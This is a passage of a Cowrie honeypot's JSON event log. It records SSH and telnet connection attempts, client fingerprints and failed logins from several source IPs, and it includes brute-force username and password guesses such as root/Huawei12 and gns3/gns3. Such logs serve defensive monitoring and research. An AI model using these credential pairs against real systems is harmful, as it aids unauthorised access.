ssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:06.912610Z","src_ip":"31.40.204.166","session":"7c23d7e935d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:07.491617Z","src_ip":"31.40.204.166","session":"7c23d7e935d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:08.694584Z","src_ip":"31.40.204.166","session":"7c23d7e935d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":57932,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d9c3ed726e","protocol":"ssh","message":"New connection: 185.236.22.41:57932 (10.17.0.5:22) [session: c3d9c3ed726e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:09.510023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:09.515497Z","src_ip":"185.236.22.41","session":"c3d9c3ed726e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:09.637192Z","src_ip":"185.236.22.41","session":"c3d9c3ed726e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ytngfhjkz","message":"login attempt [root/ytngfhjkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:09.997291Z","src_ip":"185.236.22.41","session":"c3d9c3ed726e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:11.119956Z","src_ip":"185.236.22.41","session":"c3d9c3ed726e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59668,"dst_ip":"10.17.0.5","dst_port":23,"session":"45ac21b21081","protocol":"telnet","message":"New connection: 152.42.224.71:59668 (10.17.0.5:23) [session: 45ac21b21081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:13.323161Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59678,"dst_ip":"10.17.0.5","dst_port":23,"session":"2455a6d126e2","protocol":"telnet","message":"New connection: 152.42.224.71:59678 (10.17.0.5:23) [session: 2455a6d126e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:14.040070Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60224,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5d8da0d1ef2","protocol":"ssh","message":"New connection: 103.176.20.57:60224 (159.203.135.109:22) [session: b5d8da0d1ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:15.295182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:15.301292Z","src_ip":"103.176.20.57","session":"b5d8da0d1ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:15.554492Z","src_ip":"103.176.20.57","session":"b5d8da0d1ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777888999","message":"login attempt [root/777888999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:16.319399Z","src_ip":"103.176.20.57","session":"b5d8da0d1ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:17.576121Z","src_ip":"103.176.20.57","session":"b5d8da0d1ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43808,"dst_ip":"159.203.135.109","dst_port":22,"session":"67559b41c4f8","protocol":"ssh","message":"New connection: 31.40.204.166:43808 (159.203.135.109:22) [session: 67559b41c4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:19.513031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:19.518353Z","src_ip":"31.40.204.166","session":"67559b41c4f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:19.683852Z","src_ip":"31.40.204.166","session":"67559b41c4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:20.397181Z","src_ip":"31.40.204.166","session":"67559b41c4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:21.523194Z","src_ip":"31.40.204.166","session":"67559b41c4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.45180630683899,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:25.041199Z","src_ip":"152.42.224.71","session":"4b60e26ef332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.45233964920044,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:25.492285Z","src_ip":"152.42.224.71","session":"2455a6d126e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37896,"dst_ip":"10.17.0.5","dst_port":23,"session":"65e0ec1b8f16","protocol":"telnet","message":"New connection: 152.42.224.71:37896 (10.17.0.5:23) [session: 65e0ec1b8f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:25.539314Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42654,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7c09505faa5","protocol":"telnet","message":"New connection: 152.42.224.71:42654 (10.17.0.5:23) [session: e7c09505faa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:26.358494Z"}
{"eventid":"cowrie.session.closed","duration":24.798241138458252,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:26.818336Z","src_ip":"152.42.224.71","session":"5300e4159697","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.54884386062622,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:30.809546Z","src_ip":"152.42.224.71","session":"a0510d33f438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48556,"dst_ip":"159.203.135.109","dst_port":22,"session":"e90237f29d14","protocol":"ssh","message":"New connection: 31.40.204.166:48556 (159.203.135.109:22) [session: e90237f29d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:30.985949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:30.990630Z","src_ip":"31.40.204.166","session":"e90237f29d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:31.118281Z","src_ip":"31.40.204.166","session":"e90237f29d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:31.610431Z","src_ip":"31.40.204.166","session":"e90237f29d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42660,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeb4bb43eecf","protocol":"telnet","message":"New connection: 152.42.224.71:42660 (10.17.0.5:23) [session: aeb4bb43eecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:32.527975Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:32.785646Z","src_ip":"31.40.204.166","session":"e90237f29d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42676,"dst_ip":"10.17.0.5","dst_port":23,"session":"487e1a900b69","protocol":"telnet","message":"New connection: 152.42.224.71:42676 (10.17.0.5:23) [session: 487e1a900b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:33.868611Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40738,"dst_ip":"10.17.0.5","dst_port":23,"session":"bceab47d285d","protocol":"telnet","message":"New connection: 152.42.224.71:40738 (10.17.0.5:23) [session: bceab47d285d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:36.954024Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40744,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8ce0d33a4b","protocol":"telnet","message":"New connection: 152.42.224.71:40744 (10.17.0.5:23) [session: 5b8ce0d33a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:38.367376Z"}
{"eventid":"cowrie.session.closed","duration":44.29785752296448,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:40.023915Z","src_ip":"152.42.224.71","session":"1a6d7df03b48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59609,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a3f13e5f076","protocol":"ssh","message":"New connection: 152.42.212.128:59609 (10.17.0.5:22) [session: 4a3f13e5f076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:40.048490Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:40.053025Z","src_ip":"152.42.212.128","session":"4a3f13e5f076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:40.056504Z","src_ip":"152.42.212.128","session":"4a3f13e5f076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52352,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d3fcd23969a","protocol":"ssh","message":"New connection: 31.40.204.166:52352 (159.203.135.109:22) [session: 5d3fcd23969a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:42.010640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:42.022642Z","src_ip":"31.40.204.166","session":"5d3fcd23969a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:42.207508Z","src_ip":"31.40.204.166","session":"5d3fcd23969a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:42.991968Z","src_ip":"31.40.204.166","session":"5d3fcd23969a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:44.118817Z","src_ip":"31.40.204.166","session":"5d3fcd23969a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.60102152824402,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:48.924063Z","src_ip":"152.42.224.71","session":"45ac21b21081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.188109397888184,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:52.727247Z","src_ip":"152.42.224.71","session":"65e0ec1b8f16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44898,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38b61d10905","protocol":"telnet","message":"New connection: 152.42.224.71:44898 (10.17.0.5:23) [session: b38b61d10905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:52.984224Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42532,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9871d6c8fad","protocol":"ssh","message":"New connection: 31.40.204.166:42532 (159.203.135.109:22) [session: a9871d6c8fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:53.686432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:53.799990Z","src_ip":"31.40.204.166","session":"a9871d6c8fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:53.906492Z","src_ip":"31.40.204.166","session":"a9871d6c8fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44912,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1dbf1a55cab","protocol":"telnet","message":"New connection: 152.42.224.71:44912 (10.17.0.5:23) [session: f1dbf1a55cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:29:54.094915Z"}
